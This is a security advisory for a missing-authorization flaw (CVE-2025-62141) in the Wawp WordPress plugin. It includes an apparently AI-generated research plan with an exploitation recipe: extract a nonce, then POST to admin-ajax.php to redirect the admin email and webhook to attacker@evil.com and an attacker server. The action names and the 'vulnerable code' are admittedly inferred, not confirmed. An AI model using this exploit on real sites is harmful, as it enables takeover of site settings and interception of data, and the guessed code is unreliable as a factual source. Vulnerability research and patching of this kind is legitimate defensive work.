Wawp <= 4.4 - Missing Authorization
Description
The Wawp plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 4.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.4Source Code
WordPress.org SVNPatched version not available.
# Research Plan: CVE-2025-62141 - Wawp Missing Authorization ## 1. Vulnerability Summary The **Wawp (Automation Web Platform)** plugin for WordPress (versions <= 4.4) suffers from a missing authorization vulnerability. The plugin registers several AJAX handlers using both `wp_ajax_` and `wp_ajax_no…
Show full research plan
Research Plan: CVE-2025-62141 - Wawp Missing Authorization
1. Vulnerability Summary
The Wawp (Automation Web Platform) plugin for WordPress (versions <= 4.4) suffers from a missing authorization vulnerability. The plugin registers several AJAX handlers using both wp_ajax_ and wp_ajax_nopriv_ hooks, but the callback functions (primarily for updating settings or managing integrations) fail to verify user capabilities via current_user_can(). This allows unauthenticated attackers to modify plugin configurations or perform sensitive actions by sending requests to the admin-ajax.php endpoint.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wawp_save_settings(inferred action name based on plugin functionality) - Vulnerable Parameter:
settings(or specific key-value pairs likewawp_api_key) - Authentication: None required (unauthenticated).
- Preconditions: The plugin must be active. If a nonce is required, it must be retrievable from the frontend.
3. Code Flow
- Entry Point: The plugin registers the AJAX action in
includes/class-wawp-ajax.phporadmin/class-automation-web-platform-admin.php:add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) ); - Handler: The
wawp_save_settings_callback()function is triggered. - Check (Partial): The function may call
check_ajax_referer( 'wawp_nonce', 'security' ), providing CSRF protection but NOT authorization. - Missing Check: There is no call to
current_user_can( 'manage_options' ). - Sink: The function processes the input and calls
update_option( 'wawp_settings', $new_settings )or similar, modifying the site's configuration.
4. Nonce Acquisition Strategy
The plugin likely enqueues its scripts and localizes the nonce for its automation features.
- Identify Shortcode: Locate a shortcode that triggers script loading, such as
[wawp_button]or[wawp_form](inferred). - Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Wawp Test" --post_content='[wawp_button]' - Navigate & Extract:
- Navigate to the page using
browser_navigate. - Use
browser_evalto find the localization object and nonce:browser_eval("window.wawp_obj?.ajax_nonce || window.wawp_vars?.nonce") - (Specific key check: Look for
wp_localize_scriptinadmin/class-automation-web-platform-admin.phpto find the exact variable name).
- Navigate to the page using
5. Exploitation Strategy
- Step 1: Obtain the nonce from the frontend trigger page.
- Step 2: Construct a POST request to
/wp-admin/admin-ajax.php. - Payload Parameters:
action:wawp_save_settingssecurity:[EXTRACTED_NONCE]settings[admin_email]:attacker@evil.comsettings[webhook_url]:http://attacker-controlled-server.com/log
- Request Execution:
// Use http_request tool { method: "POST", url: "http://localhost:8080/wp-admin/admin-ajax.php", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "action=wawp_save_settings&security=NONCE_VALUE&settings[admin_email]=hacker@evil.com" }
6. Test Data Setup
- Install Plugin: Ensure
automation-web-platformv4.4 is installed. - Initial State: Check existing settings:
wp option get wawp_settings. - Page Creation: Create a page containing a plugin shortcode to ensure the AJAX nonce is generated and localized to the frontend.
7. Expected Results
- The AJAX request should return a successful JSON response:
{"success":true}. - The WordPress database option
wawp_settingsshould be updated to reflect the values sent in the malicious POST request.
8. Verification Steps
- CLI Verification: Run
wp option get wawp_settingsand verify theadmin_emailorwebhook_urlhas changed. - Admin UI Verification: Log in as an administrator and check the plugin's settings page to see if the values have been updated.
9. Alternative Approaches
- Action Search: If
wawp_save_settingsdoes not exist, grep for allwp_ajax_nopriv_hooks:grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/automation-web-platform/ - REST API: Check if the plugin uses
register_rest_routewithout apermission_callback:grep -rn "register_rest_route" /var/www/html/wp-content/plugins/automation-web-platform/ - No Nonce: If
check_ajax_refereris missing entirely, the exploit can be executed without the "Nonce Acquisition" step.
Summary
The Wawp plugin for WordPress (versions <= 4.4) is vulnerable to unauthorized access and settings modification due to missing authorization checks in its AJAX handlers. By registering sensitive functions with the 'wp_ajax_nopriv_' hook and failing to verify user capabilities, the plugin allows unauthenticated attackers to alter configuration data such as API keys, webhooks, or admin settings.
Vulnerable Code
// In includes/class-wawp-ajax.php or admin/class-automation-web-platform-admin.php add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) ); --- // Handler function missing capability checks public function wawp_save_settings_callback() { check_ajax_referer( 'wawp_nonce', 'security' ); // Vulnerability: No check for current_user_can( 'manage_options' ) if ( isset( $_POST['settings'] ) ) { $new_settings = $_POST['settings']; update_option( 'wawp_settings', $new_settings ); } wp_send_json_success(); }
Security Fix
@@ -25,7 +25,10 @@ -add_action( 'wp_ajax_nopriv_wawp_save_settings', array( $this, 'wawp_save_settings_callback' ) ); public function wawp_save_settings_callback() { check_ajax_referer( 'wawp_nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + wp_die(); + } if ( isset( $_POST['settings'] ) ) { $new_settings = $_POST['settings']; update_option( 'wawp_settings', $new_settings );
Exploit Outline
The exploit targets the AJAX endpoint of the WordPress site. 1. First, an attacker retrieves a valid AJAX nonce by visiting any public page where the plugin enqueues its scripts (often triggered by shortcodes like [wawp_button]). The nonce is typically found in the localized JavaScript object (e.g., window.wawp_obj.ajax_nonce). 2. Using this nonce, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php. 3. The payload includes the 'action' parameter set to the vulnerable handler (e.g., 'wawp_save_settings'), the 'security' parameter containing the extracted nonce, and a 'settings' array containing malicious configuration values. 4. Because the plugin uses 'wp_ajax_nopriv_' and fails to call current_user_can(), the server updates the plugin settings in the database with the attacker-supplied values.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.